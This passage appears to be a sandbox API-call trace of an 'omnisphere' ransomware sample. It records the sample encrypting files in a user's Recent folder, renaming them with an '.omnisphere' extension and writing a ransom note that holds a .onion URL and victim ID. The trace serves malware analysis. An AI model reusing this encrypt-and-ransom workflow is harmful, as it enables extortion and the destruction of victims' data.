1 [0126.966] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.966] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.966] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.966] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.966] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.966] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.966] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.966] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.966] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.966] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.966] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.966] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.966] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.966] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.967] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.967] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.967] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.967] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.967] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.967] CryptDestroyKey (hKey=0x1639b68) returned 1 [0126.967] CryptReleaseContext (hProv=0x1668460, dwFlags=0x0) returned 1 [0126.967] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x42c, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.967] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.967] GetProcessHeap () returned 0x1600000 [0126.967] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2aa) returned 0x16ee110 [0126.967] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QXLwmOCK.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qxlwmock.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QXLwmOCK.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qxlwmock.lnk.omnisphere")) returned 1 [0126.968] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QXLwmOCK.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QXLwmOCK.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QXLwmOCK.lnk.omnisphere.id" [0126.968] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QXLwmOCK.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qxlwmock.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.969] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.970] CloseHandle (hObject=0x3c0) returned 1 [0126.970] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.970] CloseHandle (hObject=0x288) returned 1 [0126.970] SetEndOfFile (hFile=0x28c) returned 1 [0126.970] FlushFileBuffers (hFile=0x28c) returned 1 [0126.976] CloseHandle (hObject=0x28c) returned 1 [0126.976] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QXLwmOCK.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.976] GetProcessHeap () returned 0x1600000 [0126.976] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16ef5e0 [0126.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.976] GetProcessHeap () returned 0x1600000 [0126.976] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d5c58 [0126.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d5c58, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.976] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.976] GetProcessHeap () returned 0x1600000 [0126.976] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d80a8 [0126.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d80a8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.976] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.976] GetProcessHeap () returned 0x1600000 [0126.976] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16d8e30 [0126.976] PathCombineW (in: pszDest=0x16d8e30, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.976] GetProcessHeap () returned 0x1600000 [0126.976] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16dbee0 [0126.976] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.977] WriteFile (in: hFile=0x28c, lpBuffer=0x16dbee0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16dbee0*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.977] CloseHandle (hObject=0x28c) returned 1 [0126.977] GetProcessHeap () returned 0x1600000 [0126.977] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16ef5e0 | out: hHeap=0x1600000) returned 1 [0126.977] GetProcessHeap () returned 0x1600000 [0126.977] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0126.977] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.977] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.977] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.978] CloseHandle (hObject=0x28c) returned 1 [0126.978] GetProcessHeap () returned 0x1600000 [0126.978] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.978] GetProcessHeap () returned 0x1600000 [0126.978] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656388 | out: hHeap=0x1600000) returned 1 [0126.978] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22d9f16d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x22d9f16d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x22d9f16d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3c9, dwReserved0=0x0, dwReserved1=0xd3, cFileName="QYhwJeuLq0 Z0.lnk", cAlternateFileName="QYHWJE~1.LNK")) returned 1 [0126.978] GetProcessHeap () returned 0x1600000 [0126.978] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa4) returned 0x162cec8 [0126.978] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="QYhwJeuLq0 Z0.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QYhwJeuLq0 Z0.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QYhwJeuLq0 Z0.lnk" [0126.978] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.978] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QYhwJeuLq0 Z0.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qyhwjeulq0 z0.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.978] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=969) returned 1 [0126.978] GetTickCount () returned 0x115faf6 [0126.978] GetTickCount () returned 0x115faf6 [0126.978] GetTickCount () returned 0x115faf6 [0126.978] GetTickCount () returned 0x115faf6 [0126.978] GetTickCount () returned 0x115faf6 [0126.978] GetTickCount () returned 0x115faf6 [0126.978] GetTickCount () returned 0x115faf6 [0126.978] GetTickCount () returned 0x115faf6 [0126.979] GetTickCount () returned 0x115faf6 [0126.979] GetTickCount () returned 0x115faf6 [0126.979] GetTickCount () returned 0x115faf6 [0126.979] GetTickCount () returned 0x115faf6 [0126.979] GetTickCount () returned 0x115faf6 [0126.979] GetTickCount () returned 0x115faf6 [0126.979] GetTickCount () returned 0x115faf6 [0126.979] GetTickCount () returned 0x115faf6 [0126.979] GetTickCount () returned 0x115faf6 [0126.979] GetTickCount () returned 0x115faf6 [0126.979] GetTickCount () returned 0x115faf6 [0126.979] GetTickCount () returned 0x115faf6 [0126.979] GetTickCount () returned 0x115faf6 [0126.979] GetTickCount () returned 0x115faf6 [0126.979] GetTickCount () returned 0x115faf6 [0126.979] GetTickCount () returned 0x115faf6 [0126.979] GetTickCount () returned 0x115faf6 [0126.979] GetTickCount () returned 0x115faf6 [0126.979] GetTickCount () returned 0x115faf6 [0126.979] GetTickCount () returned 0x115faf6 [0126.979] GetTickCount () returned 0x115faf6 [0126.979] GetTickCount () returned 0x115faf6 [0126.979] GetTickCount () returned 0x115faf6 [0126.979] GetTickCount () returned 0x115faf6 [0126.979] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668e78) returned 1 [0126.980] CryptImportKey (in: hProv=0x1668e78, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639868) returned 1 [0126.980] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.980] CryptDestroyKey (hKey=0x1639868) returned 1 [0126.980] CryptReleaseContext (hProv=0x1668e78, dwFlags=0x0) returned 1 [0126.980] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3c9, lpName=0x0) returned 0x288 [0126.980] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3c9) returned 0x1480000 [0126.980] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16683d8) returned 1 [0126.981] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639868) returned 1 [0126.981] CryptSetKeyParam (hKey=0x1639868, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.981] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.981] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.981] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.981] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.981] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.981] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.981] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.981] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.981] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.981] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.981] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.981] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.981] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.981] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.981] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.981] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.982] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.982] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.982] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.982] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.982] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.982] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.982] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.982] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.982] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.982] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.982] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.982] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.982] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.982] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.982] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.982] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.982] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.982] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.982] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.982] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.982] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, 